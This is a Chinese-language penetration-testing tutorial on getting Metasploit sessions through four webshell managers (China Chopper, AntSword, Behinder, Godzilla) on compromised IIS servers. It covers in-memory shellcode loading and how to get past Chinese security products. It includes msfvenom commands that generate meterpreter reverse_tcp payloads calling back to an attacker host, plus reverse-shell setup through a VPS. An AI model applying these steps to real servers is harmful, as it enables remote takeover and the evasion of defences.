前言
这篇文章我们主要介绍的是如何利用常用Webshell管理工具中的自定义代码执行功能来上线MSF,附带了中国蚁剑、冰蝎和哥斯拉的内存加载上线,实战渗透中如果遇到以下场景时可尝试文中方法绕过。
利用场景
仅支持ASP,WScript.Shell、Shell.Application组件被卸载;又或者支持ASP.NET,但是存在有某些安全防护软件(360、云锁、安全狗等),在这两种场景下可能无法执行命令、上线和提权等。
注:目前国内大部分安全防护软件都会对某些进程或进程链的监控较为严格,如果遇到这类场景时可尝试使用以下方式来绕过,但过不了D盾,因为Hook掉了一些上线所需的API,其他防护软件还请自测。
0x01 中国菜刀
中国菜刀中并没有直接上线和shellcode加载功能,但是有一个自定义代码执行,我们可以利用这个功能来获取MSF会话。
选择对应Webshell -> 右键“自写脚本”-> 执行ASP脚本上线。
0x02 中国蚁剑
中国蚁剑和菜刀一样,也可以利用As-Exploits后渗透插件中的执行自定义Payload功能来获取MSF会话。
选择对应Webshell -> As-Exploits -> 执行自定义Payload -> 执行ASP脚本上线。
如果目标主机支持ASP.NET和JSP脚本,我们也可以利用As-Exploits插件中的ShellCode加载器功能来上线CS或MSF,只需生成hex格式的shellcode即可,c、csharp的还需要做些处理。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f hex
注:JSP内存加载方式有两种:JNA、Attach,JNA只需要X86的ShellCode即可,而Attach需要根据目标Java位数来选择对应的ShellCode,更多注意事项可在As-Exploits插件中查看。
0x03 冰蝎
冰蝎不仅可以利用自定义代码执行功能来获取MSF会话,也可以使用反弹shell功能来获取CS/MSF会话,但是不支持ASP脚本。
连接Webshell -> 自定义代码 -> 执行ASP脚本上线。
利用反弹shell功能获取会话时只需在Metasploit、CobaltStrike工具中设置好监听,然后在冰蝎客户端中填写VPS监听的公网IP地址和端口就行了,这也能用于目标不出网等场景。
注:反弹shell中的Meterpreter和Shell内置的是x86的shellcode,不可自定义shellcode,如果IIS应用池为64位时可能无法上线,更换x64的Payload也不行,但可以反弹CobaltStrike。
0x04 哥斯拉
目标仅支持ASP脚本时我们可以利用哥斯拉中的代码执行功能来获取MSF会话,加密器用的ASP_RAW,其他的加密器还请自测。
连接Webshell -> 代码执行 -> 执行ASP脚本上线。
如果支持ASP.NET脚本时我们也可以利用内存加载中的ShellcodeLoader、Meterpreter来获取会话,哥斯拉会根据IIS应用池位数来加载对应的shellcode,不会出现x64上线不了等情况。
利用ShellcodeLoader获取会话时需要先生成一个C的shellcode,将\x
和"
及多余字符都删掉,只需留下hex shellcode即可,然后再依次点击load加载和run运行就能获取到会话。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.120 lport=443 -f c
注:ShellcodeLoader、Meterpreter都是在w3wp.exe进程下重新创建一个新的rundll32.exe,所以这过不了安全狗“禁止IIS执行程序”,提示Cannot create process errcode:5
。
0x05 文末小结
本文介绍了4个常用Webshell管理工具的上线方式,都是注入到进程内存中去执行的,1种是注入到w3wp.exe进程;另1种是注入到指定进程,但是是由w3wp.exe创建的子进程,如果防护软件对w3wp.exe进程监控较为严格时则可能无法利用,如安全狗“禁止IIS执行程序”、云锁“操作系统加固”等防护功能。